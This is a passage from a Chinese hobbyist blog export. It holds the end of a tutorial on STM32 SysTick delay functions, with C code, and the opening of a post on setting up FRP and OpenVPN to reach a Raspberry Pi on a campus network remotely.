number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVal\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序结束处)*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"ms级延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#ms%E7%BA%A7%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"ms级延时\"\u003e\u003c/a\u003ems级延时\u003c/h5\u003e\u003cp\u003e循环1000次即可\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"更通用一点的代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E6%9B%B4%E9%80%9A%E7%94%A8%E4%B8%80%E7%82%B9%E7%9A%84%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"更通用一点的代码\"\u003e\u003c/a\u003e更通用一点的代码\u003c/h3\u003e\u003cp\u003e上面那个 \u003ccode\u003eSysTick-\u0026gt;LOAD=nus*9;\u003c/code\u003e 的9是手动算出来的,一般情况下主频是很容易知道的,那直接用主频自动算出这个数字就更方便了\u003c/p\u003e\u003cp\u003e再次回到上面的式子\u003c/p\u003e\u003cp\u003e记系统时钟 $SYSCLK \\ Mhz$\u003c/p\u003e\u003cp\u003e$SYSTICK=SYSCLK\\div9 \\ Mhz$\u003c/p\u003e\u003cp\u003e$$Nus=T\\times LOAD=\\frac{LOAD}{SYSTICK\\times10^6}\\times 10^6=\\frac{LOAD}{SYSTICK}$$\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times SYSTICK$$\u003c/p\u003e\u003cp\u003e这样可以在代码中定义一个延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/p\u003e\u003cp\u003e$fac_\\ us=SYSCLK\\div8$\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cp\u003e代码分为两步\u003c/p\u003e\u003col\u003e\u003cli\u003e配置 \u003ccode\u003eSYSTICK\u003c/code\u003e 为\u003ccode\u003eSYSCLK\u003c/code\u003e 的$\\frac{1}{8}$ ,并计算出延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/li\u003e\u003cli\u003e采用SysTick定时器位16标志位读取方式做延时\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e还要记得在头文件包含 \u003ccode\u003estm32f1xx.h\u003c/code\u003e\u003c/strong\u003e (以f103为例)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edealy.c\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e fac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us延时倍乘数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 初始化延迟函数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSTICK的时钟固定为AHB时钟的1/8\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSCLK:系统时钟频率\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK_DIV8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//配置SYSTICK \u003c/span\u003efac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSYSCLK\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序起始处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003efac_us\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序结束处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//ms级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edelay.h\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stm32f1xx.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e \u003cstrong\u003e函数 \u003ccode\u003eHAL_SYSTICK_CLKSourceConfig()\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Configures the SysTick clock source. * @param CLKSource specifies the SysTick clock source. * This parameter can be one of the following values: * @arg SYSTICK_CLKSOURCE_HCLK_DIV8: AHB clock divided by 8 selected as SysTick clock source. * @arg SYSTICK_CLKSOURCE_HCLK: AHB clock selected as SysTick clock source. * @retval None */\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e CLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Check the parameters */\u003c/span\u003e \u003cspan class=\"token function\"\u003eassert_param\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eIS_SYSTICK_CLK_SOURCE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e|=\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e\u0026amp;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/blockquote\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e最后看下来就是 \u003cstrong\u003e设置重装载值,使能,检查标志位\u003c/strong\u003e 这三个步骤。\u003c/p\u003e\u003cp\u003e还有就是书上讲的是比较清楚详细的。\u003cspan class=\"diana_jiayou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/463a/"},{"title":"使用FRP和OpenVPN实现校园网内网穿透","time":"2022-05-11T16:52:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E4%BD%BF%E7%94%A8FRP%E5%92%8COpenVPN%E5%AE%9E%E7%8E%B0%E6%A0%A1%E5%9B%AD%E7%BD%91%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F\" class=\"headerlink\" title=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003c/a\u003e使用FRP和OpenVPN实现校园网内网穿透\u003c/h1\u003e\u003cp\u003e)因为手头闲置了一台腾讯云小水管,树莓派3b也没啥任务,就准备尝试一下内网穿透校园网。(学校自己的VPN也能用。)\u003c/p\u003e\u003cul\u003e\u003cli\u003e公网云服务器:运行FRP服务端\u003c/li\u003e\u003cli\u003e公司内网服务器:运行FRP客户端、安装OpenVPN\u003c/li\u003e\u003cli\u003e手头的设备:安装OpenVPN客户端进行连接\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.spacesafe.top/archives/1557\"\u003e使用FRP和OpenVPN实现内网穿透 – EI_’s Blog (spacesafe.top)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/kxwinxp/article/details/88428053\"\u003eCentOS下搭建Frp内网穿透服务_宁静致远kioye的博客-CSDN博客_centos frp\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.ywbj.cc/?p=663\"\u003eVPN设置,设置OpenVPN访问公司内网,图文详细 - 运维笔记(ywbj.cc)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"开个端口先\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%BC%80%E4%B8%AA%E7%AB%AF%E5%8F%A3%E5%85%88\" class=\"headerlink\" title=\"开个端口先\"\u003e\u003c/a\u003e开个端口先\u003c/h2\u003e\u003cp\u003e本次 frp 服务端监听 端口为 \u003cstrong\u003e\u003ccode\u003e11451\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003eOpenVPN 使用端口为 \u003cstrong\u003e\u003ccode\u003e21194\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e所以 在腾讯云管理控制台先把这两个端口开了\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003efrp是一个可用于内网穿透的高性能的反向代理应用,支持tcp、udp协议,为http和https协议提供了额外的能力,且尝试性支持了点对点穿透。\u003c/p\u003e\u003cp\u003eFRP采用GO语言开发,支持windows linux MacOS 等多平台部署\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"安装-frp-服务端与客户端\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%AE%89%E8%A3%85-frp-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF\" class=\"headerlink\" title=\"安装 frp 服务端与客户端\"\u003e\u003c/a\u003e安装 frp 服务端与客户端\u003c/h2\u003e\u003cp\u003e因为网络问题选择先下载好再上传\u003c/p\u003e\u003cp\u003efrp 项目地址: \u003ca href=\"https://github.com/fatedier/frp/releases\"\u003eReleases · fatedier/frp (github.com)\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"服务端\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E6%9C%8D%E5%8A%A1%E7%AB%AF\" class=\"headerlink\" 